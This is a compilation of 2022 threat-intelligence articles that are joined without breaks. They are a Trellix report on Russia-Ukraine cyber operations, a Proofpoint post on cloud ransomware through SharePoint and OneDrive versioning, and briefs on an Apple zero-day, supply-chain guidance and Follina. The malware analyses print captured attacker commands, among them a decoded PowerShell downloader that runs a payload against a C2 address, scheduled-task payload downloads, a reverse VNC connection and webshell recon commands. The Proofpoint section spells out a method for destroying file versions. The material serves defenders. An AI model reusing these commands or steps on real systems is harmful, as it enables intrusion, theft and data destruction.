Naturally, misconfigured machines and publicly available exploits provide ample opportunities to these groups, as can be seen with the ProxyLogon and ProxyShell vulnerabilities and their aftermath.
These groups are, in contrast to most (organized) cybercrime, able to find their own way into a given target.
The more advanced nation states are capable of finding vulnerabilities and creating their own exploits for them, ahead of the general public.
This makes such an attack difficult to defend against, and the relentless nature of these groups drags the battle between the attacking and defending groups on, until the victim is either compromised, or no longer of strategic value for the attacker.
Additionally, nation state backed groups do not always opt to profit directly from their activity.
Taking systems hostage with ransomware, or simply wiping them using a wiper, imposes a cost on victims as they need to restore their systems, deal with downtime, and ensure the integrity of the (seemingly) unaffected systems.
Merging domains
Long has there been speculation with regards to nation state involvement in (organized) cybercrime.
This is difficult to prove in general, and even with some proof, skeptics continue to poke holes in the attribution.
The leak of the Conti chats, more on which below, has provided solid evidence of the group’s ties with the Russian government.
The amount of proof for such a claim is the first of its kind and allows analysts to view the exact conversations between actors.
The criminals benefit by getting “immunity” of sorts, whereas the nation state benefits from the covered operation under the flag of the actor.
Especially in the case when collaborating with a ransomware gang, such as Conti, the encrypted systems provide little information about the intrusion and activities on the system.
This further masks the actions that were performed on the system.
Since many Ukraine government sites were taken offline by suspected Russian actors in January 2022, Trellix Threat Labs has seen many parties involved, from civilian groups, such as the different ‘anonymous’ movements, to semi-government sponsored groups like the ‘Ukrainian Cyber Army’, to nation-state groups that disrupt communication and infrastructure.
Each of them is leveraging open-source adversary tools in their attacks, which makes it difficult to attribute the attacks to one or more specific groups.
In the image below, the distinct groups, and the most prevalent observed attack methods, Trellix Threat Labs has observed over time are given.
They categorized into ‘AN_’ groups, the anonymous movement like groups; ‘Pro_’ groups, which are conducting attacks showing their allegiance towards one of the countries involved in the conflict; and ‘APT_’ groups, nation-state-sponsored groups.
Overview of groups involved in the conflict.
Figure 1.
Overview of groups involved in the conflict.
As one can imagine, tracking activities on the social media platforms many of these groups are using can be challenging.
From the information posted, one must consider: is it reliable, is it misinformation, is it propaganda, are images or data manipulated or backdoored?
With these attacks happening, the barriers which are traditionally seen between the different actors are blurring.
As barriers become distorted, filling out a diamond model of intrusion on the different actors involved gets more complicated because of the similar tools and techniques and targets.
Fading barriers
Figure 2.
Fading barriers
As illustrated earlier on, the Conti ransomware group’s stance with regards to the Russian invasion in Ukraine cost them, as their data was leaked, providing researchers not only with the aforementioned chat leaks, but also a copy of the ransomware’s source code.
A pro-Ukrainian group, dubbed NB65, then took this source code and modified it, after which they started to attack targets in Russia.
Due to the police’s protection, the actor’s own region is often left unaffected, a small price to pay to ensure little to no police involvement, making this move rather unheard of.
Below is a screenshot of the NB65’s ransomware note.
Ransom note
Figure 3.
Ransom note
Cybercriminal groups could have been used to gain access credentials from potential targets.
We have seen from the leaked Conti chats that the group was in contact with government officials that asked for ‘information’ on compromised networks.
Why spend resources gaining credentials when it is possible to ask cybercrime groups for access credentials then offer ‘protection’?
Once long-term access has been established, intelligence can be exfiltrated and during a conflict, disruptive actions can be executed, as can be read about in the next section.
The impact of (cyber)war
With the ever-increasing intertwining of our digital and physical lives, the impact of a (digital) war is increasing day by day.
There’s been a lot of speculation about a “full blown cyberwar” prior to the Russian invasion.
Something can be said in favor of these arguments, but when missiles explode in your vicinity, computers aren’t that interesting anymore.
Once the most direct danger has passed, however, the digital domain is vital to securely and timely communicate with one another.
It is also a safe way to perform reconnaissance, in contrast to sending a squad to scout a hostile area.
To support our customers and the people of Ukraine, Trellix Threat Labs coordinated with multiple government institutions to provide them with the necessary telemetry insights, intelligence briefings and analysis of the malware tools used by Russian actors.
A large portion of Trellix's efforts were performed in discretion as protection of our customers is our highest priority.
Observed activity
Just as physical warfare uses a multitude of military tactics and equipment, Trellix Threat Labs has observed similar activity on the cyberfront, including but not limited to wipers, spear-phishing, back-doors, vulnerabilities, and many other techniques.
In the following sections, several of these activities will be highlighted, along with the attributed actors.
Initially, we observed different groups using several tactics to gain access, gather information and credentials, and establish and maintain access to the victim’s networks.
The visualization below showcases which groups were observed, along with their initial attack modus operandi, after which they determined their next steps.
Initial attack techniques used by observed groups
Figure 4.
Initial attack techniques used by observed groups
Gamaredon
Over the years, the pro-Russian Gamaredon group has been digitally operating in Ukraine.
Their targets are mostly national institutes and government entities, based on Trellix Labs’ observations.
From February to March 2022, we observed a Word document attached to a spear-phishing e-mail which was created to appear as a legitimate Ministry of Foreign Affairs document, while it was backdoored with a VBS script to download and install a persistent file on the victim’s machine.
Attack overview Gamaredon using backdoored Office documents
Figure 5.
Attack overview Gamaredon using backdoored Office documents
Example of the document
Figure 6.
Example of the document
After opening this document, the script in the macro code was executed:
Macro code example
Figure 7.
Macro code example
Cleaning up the code, we observe the creation of a scheduled task.
The task’s schedule frequency is set to minutes, where the modifier is set to 12.
Wscript.exe launching "C:\\Windows\\System32\\schtasks.exe" /Create /SC MINUTE /MO 12 /F /tn Word.
Downdloads /tr
The scheduled task downloads the payload from this website:
hxxp://saprit.space/ACBFDE98.rar
After the download, the rar file is renamed to a .exe file and is saved as a vbs file:
C:\\Users\\3e837342b1d29db33fcb762a84f23aa5\\AppData\\Roaming\\Microsoft\\Excel\\
ExelCreate_v.ACBFDE98.vbs
Unfortunately, the final payload was not available for analysis, but the pattern of intrusion and macro code were similar observed by others investigating this same actor.
During that same timeframe, we observed a similar document used to target victims.
Although both documents are dated (based on metadata, but we realize these can be manipulated), it could either be a case of simulating an attack or re-using the same modus operandi with adjusted payloads.
When the macro is executed in the second document, it follows the below steps:
Winword.exe creating the file
"C:\Users\\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IndexOffice.vbs"
Wscript.exe launching the process schtasks.exe with command line
"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 12 /F /tn
Word.
Downdloads /tr C:\Users\
\AppData\Roaming\Microsoft\Office\IndexOffice.vbs
Wscript.exe launching the process schtasks.exe with command line
"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 15 /F /tn
Word.
Documents /tr
C:\Users\\AppData\Roaming\Microsoft\Office\IndexOffice.exe
Downloads payload from hxxp://cornelius.website/WindowsNewsense.php
Appends and creates the file ‘IndexOffice.vbs)
Phishing the Ukrainian Ministry of Defense
In March, we observed several phishing attempts trying to impersonate the Ministry of Defense of Ukraine.
One email, sent on March 23rd, had the subject “Доступний новий ресурс” (“A new resource is available” in English), and was sent to at least 42 recipients.
The URL in the message pointed to hxxp://file-milgov[.
]systems/ and the domain resolved to the following IP 93.95.227[.
]226, which belongs to a hosting provider in Iceland.
We were not able to identify who might have setup these campaigns.
In the bigger picture of observing several tactics and techniques being used, this is another example of adversaries can attempt to gain credentials from victim networks.
Upon closer inspection of the webpage, it asks for a username and password and identifies itself as the “Міністерство Оборони України Файлове сховище”, which translates to “Ministry of Defense of Ukraine File Storage” in English.
Fake login page
Figure 8.
Fake login page
When a user fills in credentials, the webpage responds with a small error message at the bottom of the page: “Невдала спроба входу” translates to “Unsuccessful login attempt”.
The error message
Figure 9.
The error message
The specific server had other error pages which mimicked another internal error: “Вибачте, на сервері ще ведуться технічні роботи”, which translates to “Sorry, the server is still undergoing technical work” in English.
Different Error message found on the server
Figure 10.
Different Error message found on the server
The same server, 82.221.139[.
]137, also hosted an additional suspected phishing page.
Interesting to note, the page features an explicit warning to turn JavaScript on, in order to use this mail server contained on the page.
Another suspected Phishing page.
Figure 11.
Another suspected Phishing page.
The IP address 82.221.139[.
]137 was observed in other spear phishing campaigns impersonating the cybersecurity center and CSOC in Ukraine.
Wipers
Communication is vital to survive during wartime, and the adversarial use of malware attacks to “wipe” communication systems has been widespread in the region.
A wiper’s sole purpose is to wipe the device it is executed on, and potentially other connected devices.
If the execution is successful, the device is rendered useless, and whether back-ups are available or not, the machine does not function at all.
The recovery of a single machine might not take long, but the restoration of a company or government-wide attack may take months and cause disruption when communication, access to data, and coordination are critical.
When actors choose to use a wiper, they know that the weapon may be used against them.
Aside from the damage, it is often used as propaganda to demonstrate how ‘weak’ the enemy’s defenses are.
In the diagram below, the different wiper families that have been observed since the start of the conflict, including attribution, are visualized.
Ember Bear and APT28 are Russian nation state actor groups, where the other groups are likely to be pro-Russian or pro-Ukrainian, however not enough evidence is available to make those claims solid.
Wiper families and their attribution
Figure 12.
Wiper families and their attribution
It’s important to understand that to deploy a wiper, the actor needs access to the physical disk, which requires administrator or system privileges.
We have observed actors using trusted tools and stolen certificates, mimicking ransomware, and employing several tactics to hide these attack-tools from being detected and ensure that access to the network remains available to the actor.
In one example, Trellix Threat Labs observed an actor access a victim’s network with the intent to wipe their systems.
When the first wiper (dubbed WhisperGate) failed to execute, it took the actors only two and a half hours to deploy another wiper (HermeticWiper) instead.
Targeted exchange servers
One of our Ukrainian clients also detected activities in March 2022, using vulnerabilities to attack the internal network and store the output in a file accessible from the Internet.
In the command-lines below, we observe that the actor is gaining information from the system and writing the output of the command towards the file ‘owafont_ua.css’ hosted on the OWA Exchange webserver.
Checking for the content of the ‘usoshared’ folder that is part of the Windows Update mechanism, we found the folder mostly contains etl files, files that contain system log events from the Windows System Kernel:
c:\windows\system32\cmd.exe /c dir c:\programdata\usoshared > "C:\Program Files\Microsoft\Exchange
Server\V15\FrontEnd\HttpProxy\owa\auth\current\themes\resources\owafont_ua.css"
Here the attacker is launching the command to discover if any scheduled tasks with details are present on the system:
c:\windows\system32\cmd.exe /c schtasks /query /v > "C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\current\themes\resources\owafont_ua.css"
Querying systeminfo:
c:\windows\system32\cmd.exe /c systeminfo > "C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\current\themes\resources\owafont_ua.css"
Querying for task lists:
c:\windows\system32\cmd.exe /c tasklist >> "C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\current\themes\resources\owafont_ua.css"
Querying for active TCP network connections on the victim’s system:
c:\windows\system32\cmd.exe /c netstat -anbp tcp >> "C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\current\themes\resources\owafont_ua.css"
Showing the ARP table/cache on the host to discover more hosts on a network:
c:\windows\system32\cmd.exe /c arp -a >> "C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\current\themes\resources\owafont_ua.css"
These commands were executed in such a rapid manner that these were executed using a webshell, stored on that same Exchange server.
UAC-0056
In April 2022, Trellix Labs observed indicators which the Ukrainian CERT has attributed to Russian threat group UAC-0056.
The attack primarily targets the Ukrainian government and energy sector.
Malicious Excel documents were sent as attachments from a compromised email account.
Once the document was opened, either embedded code would be constructed and executed, or it would download the next stage from the Internet.
The next stage ranges from implants to Cobalt Strike beacons.
Compromised sites, Discord servers, and pre-staged domains have been observed to store these implants.
The implants go by the name Graphsteel and Grimplant and were implemented to steal user credentials, network information, and then exfiltrate said information in encrypted form to the C2 using a Google’s high performance Remote Procedure Call framework called gRPC.
Attack overview GraphSteel and Grimplant
Figure 13.
Attack overview GraphSteel and Grimplant
APT28
On April 18, 2022, a malicious email, presumably from a compromised ukr[.
]net account, with subject “ua_report”, was observed on one of our email gateways.
This email attempted to lure the victim to open the attached compressed file with the following line “Operation ‘The Eye of Sauron’ results” followed by the password needed to open the attachment.
Attack flow overview APT28 attack
Figure 14.
Attack flow overview APT28 attack
Once executed, the password protected self-extracting RAR will drop on the system an executable called “Doc_Viewer.exe” or “DocumentSaver.exe”, and a DLL called “SQLite.
Interop.dll”.
The executable is a .NET infostealer which uses the bundled DLL to interact with various browser’s SQLite databases and extract the stored credentials and cookies.
This activity was reported by Google’s TAG and attributed to the infamous APT28 aka Fancy Bear threat actor, known for its ties with the Russian GRU.
On execution the infostealer will remove its traces, for stealthy purposes, by deleting the SQLite DLL and the malicious executable, as can be seen in the code below.
cmd.exe /C Del SQLite.
Interop.dll
cmd.exe /C Del C:\Users\\AppData\Local\Temp\RarSFX0\Doc_Viewer.exe
This is an example of the .NET malware stealing credentials, more specifically trying to obtain the stored cookies in the Firefox database.
Cookies can contain values that can be abused to hijack the session from the user and impersonate as that user.
Code example of grabbing cookie values
Figure 15.
Code example of grabbing cookie values
After it is finished gathering stolen credentials, the .NET sample will leverage compromised IMAP credentials embedded on the sample to exfiltrate the stolen information.
We have observed the following compromised accounts used to connect to the indicated IMAP servers
events@sartoc.com - 144.208.77.
]68:143
gopal@hhaisoffice.com - 216.40.42.
]5:143
DoubleDrop
On May 9, 2022, a government client in Ukraine received a spear phishing email to one of their general email addresses.
The email contained a message pointing to a catalog included in a zip archive, which could be found at the given Google Drive URL: drive.google.
]com/file/d/1JBYjdNp5NnvJyYtR5azWBuRZZIjhto9z.
To open the archive, the recipient needs a password (“&# ifYQFl” without quotes), which is enclosed within the e-mail's body, as can be seen below.
Добрий день, мене звати Андрій, Я є співробітником ДК “Укроборонпром”.
На
сьогоднішній день у нас виникли потреби в доукомплектування, зокрема в
даний момент актуальні деталі до БМП і патрони до стрілецької зброї, мені
дали ваш контакт і сказали що ви можете посприяти в цьому напрямку.
Що
стосується юридичної частини ми направимо Вам офіційні листи.
Будь ласка
подивіться в архіві чи є у вас комплектуючі, які ви можете надати нам.
Пароль до архіву: &#ifYQFl
Слава Україні!
Необхідні частини.zip
Attack Flow Overview DoubleDrop
Figure 16.
Attack Flow Overview DoubleDrop
The LNK file contains a PowerShell reference command to be executed, which executes a base64 encoded command in a hidden window.
The decoded command is given below.
New-Object
(System.
New.WebClient).DownloadFile(“http://78.40.219.
]13:8888/file”, “$env:temp\helper.exe”);
Start-Process -FilePath “$env:temp\helper.exe” -ArgumentList “–host 46.229.215.108 –port 4433” -WindowStyle Hidden;
rm $pwd\*.lnk;
The newly created web client is used to download the “helper.exe” file in the temporary file’s directory, from the given URL.
Note that the added bracket is not present in the original script but is used to defang the URL in this article.
The newly downloaded executable is then executed as a new process with a hidden window, together with four arguments which specify the host and port to be used.
At last, the LNK file, which originally started this execution chain, is deleted.
Investigating one of the endpoints, we observe the following path:
C:\Users\*********\AppData\Local\Temp\helper.exe\” –host 46.229.215.108 –port 4433
The “helper.exe” binary is written in the GO language.
Several anti-analysis tricks, such as obfuscating strings and garbage code, have been applied to make the analysis of this binary more challenging.
From the log files we observed that the ‘helper.exe’ is querying the system information from the registry and sends that onwards to the C2 server.
Also, information from the Internet Browser like cookies, form history, passwords and more are gathered and forwarded.
From the traffic analysis we can observe that the C2 server was hosting a special ‘data’ folder for it:
Post “https://46.229.215.
]108:4433/data”: write tcp X.X.X.X:49202->46.229.215.108:4433: wsasend
At the same time a batch script is installed and after initial information is gathered, it will delete the helper.exe and the batch script:
chcp 65001~~TaskKill /F /IM 3796~~Timeout /T 2 /Nobreak~~Del /a
\”C:\Users\********\AppData\Local\Temp\helper.exe\
cmd.exe \”/C C:\Users\***\AppData\Local\Temp/1.bat & Del 1.bat\
Overall, we observed a well setup operation, many parts attempting as much as possible to circumvent detection to gather information that can be used to compromise the victim and get further access to the network.
Gamaredon activity
Trellix Threat Labs detected the presence of an UltraVNC Remote Admin tool on one of our Ukrainian customers.
Remote admin tools are often used to bypass security controls.
The executable was discovered in the following path:
C:\Users\\AppData\Roaming\wuauclt.exe –
cedbbbc4deb6569c23aa20ac64ad1c2b2bef6f7b3405cef861f26a0b44d836d9
Pivoting from our initial data, we discovered, we found the parent SFX archive file.
Attack Flow Overview
Figure 17.
Attack Flow Overview
The self-extracting archive has the following commands:
SFX Config Options
Figure 18.
SFX Config Options
This will essentially extract the files in the archive to %APPDATA% folder and then execute the 14991.cmd batch file.
The contents of the 14991.cmd batch file is as follows:
Contents of the 14991.cmd file
Figure 19.
Contents of the 14991.cmd file
This will essentially copy 31850.ini to wuauclt.exe and start wuauctl.exe with the following command line:
"%CD%\wuauclt.exe" -autoreconnect -id:%RANDOM% -connect torrent-vnc.ddns[.
]net:5612
The advantage of each of these command line options is as follows:
wuauclt.exe – UltraVNC server disguised as windows update auto update client of Microsoft
autoreconnect - Attempt to reconnect to the listening viewer if the connection drops
connect – Reverse-connect to the repeater host on specific host and port, this is used to bypass any firewall restrictions since the connection is initiated by the victim
id – serves as a unique UltraVNC server identifier to the repeater, the advantage of this repeater setup is primarily two-fold:
It allows for connections to multiple servers; this gives attacker the ability to use the same payload for all victims and attacker can also simply change this repeater C2 host if they want to reuse payload in a future campaign
The Repeater host acts as a proxy for the server and the viewer; this gives attacker the ability to mask the real host on which he is running the UltraVNC viewer
UltraVNC.ini is the UltraVNC configuration file that will be consumed by UltraVNC server.
The files rc4.key, MSRC4Plugin_for_sc.dsm are also consumed by the UltraVNC server program to encrypt the UltraVNC network traffic.
A call to action
Trellix has historically had a significant customer base in Ukraine and when the cyberattacks targeting the country intensified, we coordinated closely with government and industry partners to provide greater visibility into the evolving threat landscape.
We have been eager to support the region against malicious cyber activity and have been able to go beyond sharing knowledge to also provide a wide range of security appliances at no cost in the affected region (our special thanks go out to our partners at Mandiant in getting some of the appliances deployed at those organizations who needed protection the most).
Proofpoint Discovers Potentially Dangerous Microsoft Office 365 Functionality that can Ransom Files Stored on SharePoint and OneDrive
June 16, 2022 Or Safran, David Krispin, Assaf Friedman and Saikrishna Chavali
Ransomware attacks have traditionally targeted data across endpoints or network drives.
Until now, IT and security teams felt that cloud drives would be more resilient to ransomware attacks.
After all, the now-familiar “AutoSave” feature along with versioning and the good old recycle bin for files should have been sufficient as backups.
However, that may not be the case for much longer.
Proofpoint has discovered a potentially dangerous piece of functionality in Office 365 or Microsoft 365 that allows ransomware to encrypt files stored on SharePoint and OneDrive in a way that makes them unrecoverable without dedicated backups or a decryption key from the attacker.
Our research focused on two of the most popular enterprise cloud apps - SharePoint Online and OneDrive within the Microsoft 365 and Office 365 suites and shows that ransomware actors can now target organizations’ data in the cloud and launch attacks on cloud infrastructure.
Cloud ransomware attack chain
The Attack Chain
Proofpoint has identified the attack chain and documented the steps below.
Once executed, the attack encrypts the files in the compromised users’ accounts.
Like with endpoint ransomware activity, those files can only be retrieved with decryption keys.
The actions outlined below can be automated using Microsoft APIs, command line interface (CLI) scripts and PowerShell scripts.
Initial Access: Gain access to one or more users’ SharePoint Online or OneDrive accounts by compromising or hijacking users’ identities.
Account Takeover & Discovery: The attacker now has access to any file owned by the compromised user or controlled by the third-party OAuth application (which would include the user’s OneDrive account as well).
Collection & Exfiltration: Reduce versioning limit of files to a low number such as 1, to keep it easy.
Encrypt the file more times than the versioning limit.
With the example limit of 1, encrypt the file twice.
This step is unique to cloud ransomware compared to the attack chain for endpoint-based ransomware.
In some cases, the attacker may exfiltrate the unencrypted files as part of a double extortion tactic.
Monetization: Now all original (pre-attacker) versions of the files are lost, leaving only the encrypted versions of each file in the cloud account.
At this point, the attacker can ask for a ransom from the organization.
Ransomware
Figure 1: Cloud ransomware attack chain diagram.
The collection and exfiltration phase is unique to Microsoft environments.
Lists and document libraries: Microsoft terms for storage containers inside SharePoint Online sites and OneDrive accounts
A list is a Microsoft web part that stores content such as tasks, calendars, issues, photos, files and more within SharePoint Online.
OneDrive accounts are used mainly to store documents.
Document library is the term most associated with OneDrive.
A document library is a special type of list on a SharePoint site or OneDrive account where you can upload, create, update and collaborate on documents with team members.
The version settings for lists and document libraries are both found under list settings.
In the cloud ransomware attack chain outlined earlier in this post, we describe the collection and exfiltration step.
This is point in the attack chain when the malicious actor modifies the list settings that will affect all files within the document library.
Document library versioning mechanism
Every document library in SharePoint Online and OneDrive has a user-configurable setting for numbers of saved versions.
The site owner can change this setting, and they don’t need to hold an administrator role or associated privileges to do so.
The versioning settings are under list settings for each document library.
Ransomware
Figure 2: Versioning settings for document libraries.
Link: https://support.microsoft.com/en-us/office/enable-and-configure-versioning-for-a-list-or-library-1555d642-23ee-446a-990a-bcab618c7a37
By design, when you reduce the document library version limit, any further changes to the files in the document library will result in older versions becoming very hard to restore.
(For more on this topic, see the “Responsible disclosure and discussion” section at the end of this post.)
There are two ways to abuse the versioning mechanism to achieve malicious aims – creating too many versions of a file or reducing the version limits of a document library.
Edits that increment a version of a file include changes to the document contents, filename, file metadata and the file encryption status.
The method of too many file versions created works as such:
Staging: Most OneDrive accounts have a default version limit of 500.
An attacker could edit files within a document library 501 times.
Now, the original (pre-attacker) version of each file is 501 versions old, and therefore no longer restorable.
Data encryption: Encrypt the file(s) after each of the 501 edits.
Now all 500 restorable versions are encrypted.
Organizations cannot independently restore the original (pre-attacker) version of the files even if they attempt to increase version limits beyond the number of versions edited by the attacker.
In this case, even if the version limit was increased to 501 or more, the file(s) saved 501 versions or older cannot be restored.
Encrypting files 500+ times is unlikely to be seen in the wild.
It requires more scripting and more machine resources while making your operation easier to detect than the next method.
The method of reducing document library versioning works as such:
Staging: Reduce document library versioning number to a low number such as 1, to keep it easy.
This means only the most recent version of the file before the last edit is saved and can be restored by a user.
Data Encryption: Edit each file twice - either by encrypting the file twice or a combination of encryption, major content changes and file metadata changes.
This will ensure an organization cannot restore the original (pre-attacker) versions of the file without the decryption key from the attacker.
Setting the version limit to zero is red herring and will not delete the versions.
The versions will be available to the user in one simple step.
Reset the version limit or manually switch it off and back on.
Files stored in a hybrid state on both endpoint and cloud, such as through cloud sync folders, will reduce the impact of this novel risks as the attacker won’t have access to the local and endpoint files.
To perform a full ransom flow, the attacker will have to compromise the endpoint and the cloud account to access the endpoint and cloud-stored files.
Initial access to SharePoint Online and OneDrive user accounts
The three most common paths attackers would take to gain access to one or more users’ SharePoint Online or OneDrive accounts are:
Account compromise: Directly compromising the users’ credentials to their cloud account(s) through phishing, brute-force attacks and other credential compromise tactics.
Third-party OAuth applications: Tricking a user to authorize third-party OAuth apps with application scopes for SharePoint or OneDrive access.
Hijacked sessions: Either hijacking the web session of a logged-in user or hijacking a live API token for SharePoint Online and/or OneDrive.
Protecting your organization and sensitive data from actions leading to cloud ransomware
Fortunately, many of the recommendations outlined below should look similar to the best practices your organizations already would employ to deal with ransomware on endpoints.
We will emphasize the differences when it comes to protecting your cloud environments.
First, turn on detection of risky file configuration changes for Office 365 accounts with Proofpoint Cloud App Security Broker (CASB).
While a user can accidentally change the setting, it’s not common behavior.
If users change it unknowingly, they should be made aware and ideally increase the version limit.
This will reduce the risk of an attacker compromising users and taking advantage of already low version limits for those users’ lists.
Second, improve security hygiene around ransomware.
This includes addressing:
Very Attacked People™: Use Proofpoint Targeted Attack Protection (TAP) to identify and prioritize greater protection for users who face the highest number of and most threatening cloud, email and web attacks.
These users can be outside your list of very important people such as executives and privileged users.
Access management: Maintain a strong password policy, increase the use of multi-factor authentication (MFA) and instill a least-privilege, principles-based access policy across cloud applications.
Disaster recovery and backup: Update disaster recovery and data backup policies to reduce losses in case of a ransomware attack.
Ideally, complete external backups of cloud files with sensitive data regularly.
Don’t rely only on Microsoft to provide backups through versioning of document libraries.
Cloud security: Detect and remediate account compromises and third-party application abuse.
Proofpoint CASB integrates with Proofpoint Nexus Threat Graph and third-party threat intelligence to stop account takeovers and third-party application abuse.
Data loss prevention: Prevent sensitive data downloads and large-scale data downloads to unmanaged devices to reduce the potential for double-extortion tactics in ransomware.
Proofpoint CASB provides customizable policies to help you protect your data on unmanaged devices.
And Proofpoint Insider Threat Management helps you teach negligent users better security practices and collect evidence on malicious insiders if they make configuration changes.
And finally, you may want to add the following to your response and investigation strategies, in case the risky configurations’ change detectors are triggered:
Increase restorable versions for the affected document libraries in your M365 or O365 settings immediately.
Look for any previous account compromise or risky configuration change alerts for the affected Office 365 account.
Hunt for suspicious third-party app activity.
If found, revoke OAuth tokens for malicious or unused third-party apps in the environment.
Identify other risky behavior patterns associated with the users(s) across cloud, email, web and endpoint, such as negligence in handling sensitive data or risky data movement.
Responsible disclosure and discussion
Prior to this blog, Proofpoint followed Microsoft’s disclosure path and received a couple of responses.
Their claims are as follows:
The configuration functionality for versioning settings within lists is working as intended
Older versions of files can be potentially recovered and restored for an additional 14 days with the assistance of Microsoft Support.
However, Proofpoint attempted to retrieve and restore old versions through this process (i.e., with Microsoft Support) and was not successful.
Secondly, even if the versioning settings configuration workflow is as intended, Proofpoint has shown that it can be abused by attackers towards cloud ransomware aims.
For more information on how Proofpoint can protect against ransomware, visit our Ransomware Hub.
Apple backports fix for actively exploited iOS zero-day to older iPhones
Apple has released new security updates to backport patches released earlier this month to older iPhones and iPads addressing a remotely exploitable WebKit zero-day that allows attackers to execute arbitrary code on unpatched devices.
This zero-day vulnerability is the same one Apple patched for macOS Monterey and iPhone/iPad devices on August 17, and for Safari on August 18.
The flaw is tracked as CVE-2022-3289 and is an out-of-bounds write vulnerability in WebKit, the web browser engine used by Safari and other apps to access the web.
If successfully exploited, it allows attackers to perform arbitrary code execution remotely by tricking their targets into visiting a maliciously crafted website under their control.
In a security advisory published today, Apple once again said that they're aware of reports that this security issue "may have been actively exploited."
The list of devices today's security updates apply to includes iPhone 5s, iPhone 6, iPhone 6 Plus, iPad Air, iPad mini 2, iPad mini 3, and iPod touch (6th generation), all of them running iOS 12.5.6.
Patch your older phones to block attacks
Even though Apple has disclosed that it received reports of active exploitation in the wild, the company is yet to release info regarding these attacks.
By withholding this information, Apple is likely aiming to allow as many users as possible to apply the security updates before other attackers pick up on the zero-day's details and start deploying exploits in their own attacks targeting vulnerable iPhones and iPads.
Although this zero-day vulnerability was most likely only used in targeted attacks, it's still strongly advised to install today's iOS security updates as soon as possible to block potential attack attempts.
The U.S. Cybersecurity and Infrastructure Security Agency (CISA) also added this security bug to its catalog of exploited vulnerabilities on August 19, requiring Federal Civilian Executive Branch (FCEB) agencies to patch it to protect "against active threats."
This is the seventh zero-day bug fixed by Apple since the start of the year:
In March, Apple patched two zero-day bugs in the Intel Graphics Driver (CVE-2022-22674) and AppleAVD (CVE-2022-22675).
In February, Apple released security updates to fix another WebKit zero-day bug exploited in attacks against iPhones, iPads, and Macs.
In January, Apple patched two other exploited zero-days that enabled code execution with kernel privileges (CVE-2022-22587) and web browsing activity tracking (CVE-2022-22594).
NSA and CISA share tips to secure the software supply chain
The U.S. National Security Agency (NSA) and the Cybersecurity and Infrastructure Security Agency (CISA) have released tips today on securing the software supply chain.
This guidance is designed by the Enduring Security Framework (ESF)—a public-private partnership that works to address threats to U.S. critical infrastructure and national security systems—to serve as a collection of suggested practices for software developers.
"Securing the Software Supply Chain for Developers was created to help developers achieve security through industry and government-evaluated recommendations," the Department of Defense's intelligence agency said.
"Developers will find helpful guidance from NSA and partners on developing secure code, verifying third party components, hardening the build environment, and delivering the code.
Until all DevOps are DevSecOps, the software development lifecycle will be at risk."
The ESF will release two more advisories coinciding with the software supply chain lifecycle, with the other two parts in this series focusing on software suppliers and customers.
You can find detailed information on how to develop secure code, verify third-party components, harden build environments, and deliver code securely in today's advisory [PDF].
The guidance has been released after recent high-profile cyber attacks like the SolarWinds hack have highlighted weaknesses in the software supply chain that nation-state-backed threat groups can easily exploit.
Following the snowball effect of the SolarWinds supply-chain attack that led to the compromise of multiple U.S. govt agencies after FireEye revealed its network was breached in December 2020, President Biden signed an executive order in May 2021 to modernize the country's defenses against cyberattacks.
The White House released a new Federal strategy in January, pushing the U.S. government to adopt a "zero trust" security model.
This was prompted by Biden's executive order and the NSA and Microsoft recommending this approach in February 2021 for large enterprises and critical networks (National Security Systems, Department of Defense, Defense Industrial Base).
In May, the U.S. National Institute of Standards and Technology (NIST) also released updated guidance on how enterprises can better defend themselves from supply-chain attacks.
A Microsoft report from October 2021 also revealed that the Russian-backed Nobelium threat group kept targeting the global I.T.
supply after hacking SolarWinds, attacking 140 managed service providers (MSPs) and cloud service providers and breaching at least 14 since May 2021.
Microsoft's findings demonstrated the software supply chain had become an increasingly popular target for threat actors since it allows them to compromise a single product and impact numerous downstream companies that use it.
The danger behind supply-chain attacks was also made evident in real-world scenarios multiple times since Russian threat actors compromised SolarWinds to infect its downstream customers, including by Kaseya's MSP software which was used to encrypt the systems of over a thousand companies worldwide and by how npm modules have been used to execute remote commands.
Trellix Global Defenders: Follina — Microsoft Office Zero-Day (CVE-2022-30190)
By Taylor Mullins, Robin Noyce, Benjamin Marandel · June 3, 2022
Trellix is continuing to monitor the threat activity associated with the Microsoft Office Zero-Day vulnerability that has been dubbed “Follina.”
Chinese-linked Threat Actors are actively exploiting this zero-day vulnerability to execute malicious code remotely.
At the time of this writing there is no official patch from Microsoft, but steps and protections can be put into place to mitigate against the attacks utilizing this Microsoft vulnerability.
Microsoft Windows Support Diagnostic Tool (MSDT) Remote Code Execution Vulnerability
The method at which these attacks are taking place is using malicious Word documents that execute PowerShell commands via the Microsoft Diagnostic Tool (MSDT).
The ‘Follina’ zero-day features a remote code execution that works without elevated privileges, does not require macro enablement to execute binaries or scripts, and can bypass Windows Defender detection.
Opening a Microsoft Word document in preview mode in Explorer is another method to detonate the malicious code which provides a vector for the exploitation to take place outside of the Protected View that Microsoft is reporting will prevent the attack.
Furthermore, it is a signed binary, which enables the code to bypass windows validation controls.
The Follina vulnerability is exploitable with Office 2013, 2016, 2019, 2021, Office ProPlus and Office 365.
Microsoft recommended workaround for microsoft support diagnostic tool (MSDT)
Microsoft has released guidance on disabling the Microsoft Diagnostic Tool (MSDT) URL protocol.
The Microsoft Support Diagnostic Tool (MSDT) is a tool designed to collect information to send to the Microsoft Support.
CISA: Microsoft Releases Workaround Guidance for MSDT "Follina" Vulnerability
Workaround provided by Microsoft to mitigate against exploitation
Figure 1.
Workaround provided by Microsoft to mitigate against exploitation
Trellix product protections for follina vulnerability
Trellix is continuing to add protections via threat feeds and content updates to the Trellix products as Indicators of Compromises (IOCs) and behavioral techniques are detected in the wild.
In addition, there are initiative-taking steps that can further protect your environment against the attacks targeting the Follina zero-day vulnerability.
MITRE ATT&CK Matrix for Exploitation of Follina Vulnerability.
Source: MVISION Insights
Figure 2.
MITRE ATT&CK Matrix for Exploitation of Follina Vulnerability.
Source: MVISION Insights
